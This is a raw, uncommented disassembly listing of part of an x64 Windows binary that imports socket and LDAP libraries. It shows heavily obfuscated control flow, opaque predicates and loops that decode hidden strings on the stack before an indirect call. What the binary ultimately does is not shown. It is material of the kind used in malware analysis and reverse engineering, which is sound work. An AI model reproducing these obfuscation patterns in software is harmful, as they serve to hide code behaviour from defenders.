movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x58]
add r8d, r8d
mov edx, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, dword [rsp + 0x4c]
mov dword [rbx + rax*4 + 4], edx
movsx ecx, byte [reloc.WS2_32.dll_htons]
mov eax, dword [rsp + 0x54]
lea edx, [rax + rax*2]
mov eax, dword [rsp + 0x50]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebf0c
mov eax, dword [rsp + 0x20]
xor edx, edx
sub eax, 0x6c
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebdb5
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ebdb5
mov dword [rsp + 0x44], 8
jmp 0x1400ebe07
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebe07
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x20]
xor edx, edx
sub eax, 0x6c
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebe8f
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ebe8f
mov dword [rsp + 0x48], 8
jmp 0x1400ebee1
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebee1
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x48]
add r8d, r8d
mov edx, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, dword [rsp + 0x44]
mov dword [rbx + rax*4 + 4], edx
movsx edx, byte [0x140230389]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
imul edx, r9d
add edx, edx
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ec0f1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebfa8
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ebfa8
mov dword [rsp + 0x3c], 8
jmp 0x1400ebffa
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ebffa
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x3c], eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x28], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ec074
movsx ecx, byte [0x140230389]
imul ecx, r9d
lea edx, [rcx + rcx*2]
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
sub edx, r10d
add edx, r11d
add ecx, edx
je 0x1400ec074
mov dword [rsp + 0x40], 8
jmp 0x1400ec0c6
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400ec0c6
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x28]
cvttsd2si eax, xmm0
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x20]
mov r8d, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
and r8d, dword [rsp + 0x40]
add r8d, r8d
mov edx, dword [rbx + rax*4 + 4]
movsxd rax, dword [rsp + 0x20]
sub edx, r8d
add edx, dword [rsp + 0x3c]
mov dword [rbx + rax*4 + 4], edx
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
cmp eax, 1
jb 0x1400eb73d
xor r13d, r13d
lea r12d, [r13 + 1]
mov byte [rbx], r12b
lea rsi, reloc.WS2_32.dll_getsockopt
mov eax, dword [rbx + 4]
mov r14b, gethostname
mov bl, byte [rsp + 0x24]
mov r15b, reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp - 0x60], 0x7c784d99
mov dword [rbp - 0x5c], 0x42bc7e40
mov rsi, qword [rsi + rax*8]
xor eax, eax
mov qword [rbp - 0x46], rax
mov word [rbp - 0x3e], ax
mov dword [rbp - 0x58], 0xbb45427d
mov dword [rbp - 0x54], 0x69a46e72
mov dword [rbp - 0x50], 0xa3556c59
mov dword [rbp - 0x4c], 0x66656654
mov word [rbp - 0x48], 0xc96d
call fcn.14011b4ec
mov rdi, qword [rax]
call fcn.14011b4f4
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x24
jae 0x1400ec710
movzx r8d, byte [rbp + r9 - 0x60]
mov edx, r8d
cmp rdi, r9
ja 0x1400ec707
lea r11, [r10 + 1]
cmp rdi, r11
jae 0x1400ec1bb
movabs rcx, 0xc13d8852aa818e63
mov bl, r8b
add rcx, r9
mov al, cl
and al, dl
add al, al
sub bl, al
add bl, 0x4b
add bl, cl
jmp 0x1400ec1db
je 0x1400ec699
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400ec655
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1400ec63b
cmp r10, r9
ja 0x1400ec6fe
cmp rdi, r11
jae 0x1400ec200
lea ecx, [r9 + 0x1f]
mov al, r8b
and al, cl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x27
add bl, cl
jmp 0x1400ec220
je 0x1400ec603
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1400ec5ec
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1400ec5a7
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1400ec32a
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1400ec30c
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1400ec2f2
lea rdi, [r10 + 1]
lea r10, [rdi + 0x7a]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x1400ec6e3
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x1400ec6c8
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x3e8]
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x1400ec2d6
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1400ec2bc
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1400ec29f
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x42]
jmp 0x1400ec22d
lea ecx, [r9 + 0x54]
mov al, r8b
and al, cl
mov bl, r8b
add al, al
mov r11b, r9b
sub bl, al
sub bl, 0x4c
add bl, cl
jmp 0x1400ec5bf
lea ecx, [r9 - 0x72]
mov al, r8b
and al, cl
mov ebx, reloc.WS2_32.dll_ntohs
sub bl, al
add bl, bl
add bl, r8b
jmp 0x1400ec66e
mov cl, r9b
mov al, r8b
sub cl, r14b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x78
jmp 0x1400ec6b4
lea ecx, [r9 + 0x50]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x30
jmp 0x1400ec636
mov ecx, Ordinal_32
lea edx, [r9 - 0x76]
mov al, r8b
mov r11b, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ec619
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1400ec3a8
lea edx, [r9 + 0x63]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
add bl, 0x4b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 5
je 0x1400ec58f
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1400ec45b
lea edx, [r9 - 0x69]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, 0x21
add bl, dl
cmp rdi, r12
jae 0x1400ec543
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1400ec4c3
lea ecx, [r9 + 0x7c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x1400ec6b4
jne 0x1400ec3c7
lea edx, [r9 + 0x3e]
mov ecx, Ordinal_41
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ec6b4
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400ec3ea
lea edx, [r9 + 4]
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
sub bl, 0x1c
add bl, dl
jmp 0x1400ec670
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1400ec40d
lea ecx, [r9 + 0x56]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x1400ec57a
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1400ec434
mov ecx, reloc.WLDAP32.dll_Ordinal_30
lea edx, [r9 + 0x1c]
mov al, r8b
mov r11b, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ec55a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1400ec348
lea ecx, [r9 - 0x1e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2e
jmp 0x1400ec650
jne 0x1400ec478
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 + 0x5d]
and al, dl
add al, al
sub bl, al
add bl, 0x75
jmp 0x1400ec619
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400ec49b
lea ecx, [r9 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
jmp 0x1400ec636
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1400ec378
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r12 + r11]
and al, dl
add al, al
sub bl, al
sub bl, 7
jmp 0x1400ec5bd
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1400ec4ed
mov r11b, r9b
mov edx, 8
add edx, r11d
mov al, r8b
and al, dl
mov bl, r8b
add al, al
sub bl, al
add bl, dl
sub bl, r14b
jmp 0x1400ec5bf
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1400ec513
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ec650
cmp r10, 0x7a
jb 0x1400ec539
mov cl, r8b
mov r11b, r9b
mov al, r8b
lea edx, [r11 + 0x72]
and al, dl
add al, al
sub cl, al
add cl, dl
lea ebx, [rcx + rcx]
sub bl, r15b
jmp 0x1400ec61b
mov byte [rbp + r9 - 0x60], bl
jmp 0x1400ec6c0
mov cl, r8b
mov r11b, r9b
mov al, r8b
lea edx, [r14 + r11]
and al, dl
sub cl, al
add cl, r15b
lea ebx, [rcx + rcx]
add bl, dl
sub r11b, 0x65
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x3d
add r11b, bl
add r11b, r8b
mov byte [rbp + r9 - 0x60], r11b
add rdi, r10
or rcx, 0xffffffffffffffff
movzx eax, bl
sub rcx, rax
add r9, rcx
jmp 0x1400ec6c0
mov ecx, 7
mov r11b, r9b
mov al, r8b
lea edx, [r11 - 2]
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1400ec5bd
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 - 0x77]
and al, dl
add al, al
sub bl, al
add bl, 0x41
add bl, dl
add r11b, 0x61
add r10, r12
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x59
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 - 0x60], al
add rax, r10
sub r9, rax
jmp 0x1400ec670
lea ecx, [r9 - 0x55]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x53
jmp 0x1400ec636
mov r11b, r9b
mov al, r8b
mov bl, r8b
lea edx, [r11 - 0x1b]
and al, dl
add al, al
sub bl, al
sub bl, 0x43
add bl, dl
sub r11b, 0x2b
mov al, r11b
and al, r8b
add al, al
sub r11b, al
add r11b, 0x2d
add r11b, r8b
mov byte [rbp + r9 - 0x60], r11b
add r10, r12
jmp 0x1400ec650
lea ecx, [r9 - 0x33]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x65
sub r9, r12
jmp 0x1400ec6c0
movabs rcx, 0xc633a99d5487c7ef
mov bl, r8b
add rcx, r9
and dl, cl
add dl, dl
sub bl, dl
add bl, 0x77
add bl, cl
mov cl, r9b
add rdi, r12
sub cl, r15b
mov al, cl
and al, r8b
add al, al
sub cl, al
or rax, 0xffffffffffffffff
sub cl, 0x5c
sub rax, rdi
add cl, r8b
mov byte [rbp + r9 - 0x60], cl
add r9, rax
jmp 0x1400ec6b4
movabs rax, 0x43b898f7ff84ab29
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea ebx, [rax + r8]
sub bl, 0x1f
movzx eax, byte [rbp + r9 - 0x60]
add rax, r10
add r9, rax
add r9, r12
jmp 0x1400ec177
add r9b, 0x6f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 9
jmp 0x1400ec174
sub r9b, 0x57
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x61
jmp 0x1400ec164
lea rdx, [rbp + 0x14baa24]
jmp 0x1400ec714
lea rdx, [rbp + 0x14d3887]
jmp 0x1400ec714
lea rdx, [rbp - 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x20], r13
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x28], r13
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400ec727
lea rcx, [rbp + 0x10]
call fcn.140013410
lea rcx, [rbp + 0x10]
call rsi
mov dil, byte [rsp + 0x24]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp + 4], eax
movups xmmword [rbp - 0xc], xmm0
mov byte [rbp + 8], al
mov sil, 0x68
mov dword [rbp - 0x10], 0x8384858d
movabs r14, 0x794b6a2567b22743
movabs r15, 0x286e78b72290b7c1
call fcn.14011b4ec
mov rbx, qword [rax]
call fcn.14011b4f4
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x19
jae 0x1400ed181
movzx r8d, byte [rbp + r9 - 0x10]
mov edx, r8d
mov r11d, r8d
cmp rbx, r9
ja 0x1400ed179
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1400ec7c3
lea rdi, [r9 + r15]
mov al, dil
and al, dl
add al, al
sub dil, al
sub dil, 0x47
add dil, r8b
jmp 0x1400ec7f0
je 0x1400ed110
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400ed09d
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400ed04e
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1400ed02d
cmp r10, r9
ja 0x1400ed171
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jae 0x1400ec81c
lea ecx, [r9 - 0x2b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x2d
jmp 0x1400ec86a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1400ecff5
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1400ecfdd
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1400ecfc2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1400ecfa7
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1400ecf8d
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1400ecf72
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x1400ecce6
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1400eccc5
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1400eccab
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x1400ecc9d
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x1400ecc80
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1400ecc72
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1400ecc58
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1400ecc4a
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1400ecc30
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1400ecc22
lea rbx, [r10 + 2]
lea r10, [rbx + 0xa]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1400ed155
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1400ed139
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1400eca46
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1400eca2d
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1400eca13
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1400ecbd9
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1400ecb8f
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1400ecb4b
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1400ec877
lea rbx, [r10 + 1]
lea r10, [rbx + 9]
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1400ecb2f
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1400ecb11
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1400ecaf7
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x1400ecad9
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1400ecabf
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1400eca9e
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1400eca84
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1400eca63
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1400ec877
lea rbx, [r10 + 0x2a]
lea r10, [rbx + 0x80]
jmp 0x1400ec877
lea ecx, [r9 - 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x73
jmp 0x1400ec86a
lea ecx, [r9 + 0x49]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r12b
jmp 0x1400ec7f0
lea ecx, [r9 - 0x39]
mov r11, rdx
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x71
jmp 0x1400ec79a
lea edx, [r9 - 0x58]
mov ecx, 0x34
mov al, dl
mov r11b, r9b
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed010
lea ecx, [r9 - 0x5c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x1400ed046
lea edx, [r9 + 0x22]
mov ecx, 9
mov al, dl
mov r11b, r9b
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed069
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1400ed087
lea edx, [r9 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed08a
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x1400ed0c1
lea edx, [r9 + 0x1a]
mov ecx, Ordinal_41
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed0e5
mov cl, r9b
sub cl, sil
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x1400ed125
lea ecx, [r9 + 0x51]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
cmp r10, 0x3e8
jb 0x1400ecf2b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov r11b, r9b
mov al, r8b
lea edx, [r11 - 0x1a]
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1400ed010
lea ecx, [r9 - 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x57
cmp rbx, 0x400
jae 0x1400ecf35
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x1400ece88
lea edx, [r9 - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ecb60
lea ecx, [r9 + 0x4d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1b
lea rax, [rbx + r10]
cmp rax, 0x1000
je 0x1400ecf53
lea rax, [r10 + 2]
cmp rbx, rax
jbe 0x1400ecdf5
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
jmp 0x1400ecba4
lea edx, [r9 - 2]
mov ecx, 7
jmp 0x1400ecd1b
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x1400ed0e5
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400ecd42
lea ecx, [r9 + 0x78]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x1400ed08a
lea edx, [r9 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x1400ecd69
mov r11b, r9b
lea ecx, [r11 + 0x74]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x1400ed069
lea edx, [r9 - 0xe]
mov ecx, Ordinal_50
jmp 0x1400ecdb6
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1400ed043
mov ecx, 0x3f
mov r11b, r9b
lea edx, [r11 - 0x12]
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed010
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x1400ecd09
lea ecx, [r9 - 0x3f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x47
jmp 0x1400ecbee
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400ecd30
lea edx, [r9 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed125
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1400ecd57
lea edx, [r9 - 0x52]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed0c1
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1400ecd7e
lea edx, [r9 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed087
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1400ecda4
mov r11b, r9b
lea ecx, [r11 + 0x34]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x1400ed069
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1400ecdcb
lea edx, [r9 - 0x4a]
mov ecx, 3
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1400ed046
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400ecbee
mov r11b, r9b
lea ecx, [r11 - 0x46]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
jmp 0x1400ed010
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1400ece1b
mov r11b, r9b
lea ecx, [r11 + 0x7f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x79
jmp 0x1400ed010
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1400ece3e
lea ecx, [r9 + 9]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3f
jmp 0x1400ed08a
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1400ece61
lea ecx, [r9 - 0x75]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x33
jmp 0x1400ed0c1
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1400ecba4
lea ecx, [r9 - 0x71]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
